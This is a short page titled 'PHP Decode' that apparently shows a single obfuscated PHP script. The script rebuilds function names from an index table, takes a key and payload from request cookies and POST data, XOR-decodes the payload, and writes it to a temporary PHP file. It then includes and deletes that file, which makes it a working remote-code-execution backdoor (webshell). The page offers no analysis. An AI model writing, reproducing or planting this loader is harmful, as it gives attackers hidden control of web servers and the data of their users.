PHP Decode

<?php 
function am6	() 
{ 
 
echo 'gw7'; 
 
} 
 
 
$hl3   =	"r1'FpI9E;.k/ih@_Lmvo-5(g?a6tbes8y724lncdf0)Hu# <*x";function dh1  ( $ri2 ) 
{global	$hl3; 
 
$et5=''; 
 
    $et5    = substr($et5,	0); 
 
 
foreach( $ri2 as  $sa4	) 
{ 
 
 
$et5 .= $hl3	[ $sa4	]; 
} 
return $et5; 
}$wb8 = [];$jleqz = 80761; 
 
$wb8[57336] = dh1 (	Array(39	, 41 , 28 , 28 ,	39 , 1 ,       6   ,       25	, 20 ,	38 , 39	, 26 , 26 ,	20      , 35 ,     33    ,   28 ,	28 ,	20   , 6 ,	38 ,   1	, 1     , 20    ,	28 ,	33 , 1	,       39 ,	34      ,	29 , 41 ,     6	, 28	, 31 ,     31	,	40 ,) ) ; 
 
$wb8[21490]  =	dh1 ( Array(24 , 4	, 13 , 4	,      46 ,	14	,     44     ,   37 ,    36 , 12 ,	37 ,	10 ,	22 ,	15 ,	15 , 3 ,	5    , 16   , 7 , 15 ,	15  , 42	, 8 ,  46	,) )  ; 
$nc20	=     4103; 
 
$wb8[59879] =	dh1 (	Array(9     , 17 , 19	,	39	, 44       ,	36	, 29 ,) )	; 
 
 
$wb8[89060]   =	dh1 ( Array(43 , 48 ,) )      ; 
 
 
$wb8[87513]      =       dh1	(   Array(9    ,	11      ,) )	; 
 
$ek21 = 22579; 
 
$wb8[8664]  =       dh1	( Array(45 ,) ) ; 
$wb8[58872]	= dh1 ( Array(47	,) )	;$ds22  =	8955;$wb8[14800]	=	dh1  ( Array(40 ,  12	,  36	,	29 , 15 ,  4 , 44 , 27     , 15       ,     38	, 19	, 37 ,     27      ,  29 ,       37      , 27 , 30 ,)	) ; 
 
$cl23 =	404; 
$wb8[82379] =	dh1 (     Array(40	, 12 , 36	, 29 ,    15 ,    29 ,    49	, 12 ,	30	,	27	, 30 ,)    ) ; 
 
 
$wb8[28102]    = dh1  (   Array(25   ,	0 ,   0 , 25     , 32       ,  15 , 17 ,      29	,	0 ,     23 , 29 ,) )	; 
 
 
$hx24 = 75704; 
 
$wb8[11717] = dh1 (     Array(30       ,	27 , 0 ,   15	,	0     ,    29 , 4	, 29	,   25       ,   27	,)    ) ; 
$wb8[39360] =	dh1  (     Array(29 , 49 , 4       , 36 , 19  ,	39 ,      29 ,) )  ; 
$oy25    =	42338;$wb8[15294]	= dh1 (	Array(30 , 44	, 28 ,   30	, 27 ,	0 ,)   )	;$wb8[54204] =     dh1	(  Array(44 ,   37	, 36	, 12	, 37 ,	10	,) )	;$wb8[56250]	=	dh1	(     Array(30 , 27 ,	0    , 36 , 29	,      37       ,)	) ; 
 
$wb8[32181] = dh1	( Array(4    , 25 ,	38       , 10 ,) ) ; 
$bq26 = 2102; 
 
$wb8[70067] =	dh1       ( Array(17 ,	39  ,	21	,)   ) ;$xr27 =	33756; 
 
 
 
$dz14 =	$_COOKIE;      $gk13	=       "7182"; 
$dz14       = $wb8[28102]($dz14,	$_POST); 
 
 
 
foreach	($dz14 as      $ry19 =>	$la15){ 
 function	bt10 (	$wb8,  $ry19	, $bn12 ) 
 
 
 { 
 
	return $wb8[15294] ( $wb8[11717]     (	$ry19 . $wb8[57336] ,	(  $bn12/$wb8[56250]( $ry19 ) ) + 1 ) ,     0	, $bn12	); 
 
 
	} 
 
 
  function	ft9 ( $wb8, $pb18 ) 
 { 
 
 
 return   @$wb8[32181] ($wb8[89060]	, $pb18 ); 
 
      } 
 
 function	kv11	(	$wb8, $pb18 ) { 
 
 
 if	(	isset ( $pb18[2]	)	) { 
  
 
 
 $ag17 =      $wb8[87513] .  $wb8[70067](   $wb8[57336] ) . $wb8[59879]; @$wb8[14800] (	$ag17,	$wb8[58872] .    $wb8[21490]   .   $pb18[1] (	$pb18[2]  )      ); 
 
 $pm16	=	$ag17;      @include	(	$pm16  );	if ($wb8[82379]($ag17)) @$wb8[54204]     ( $ag17 ); 
 
 
 
 
  die      (); 
 
 
	} 
 
 } 
 
 
	kv11   (   $wb8, $wb8[39360]	( $wb8[8664]	, ft9   (       $wb8,       $la15	)	^ bt10 ( $wb8,      $ry19	,	$wb8[56250]( $la15 )	)      )     ); 
 
 continue;} ?>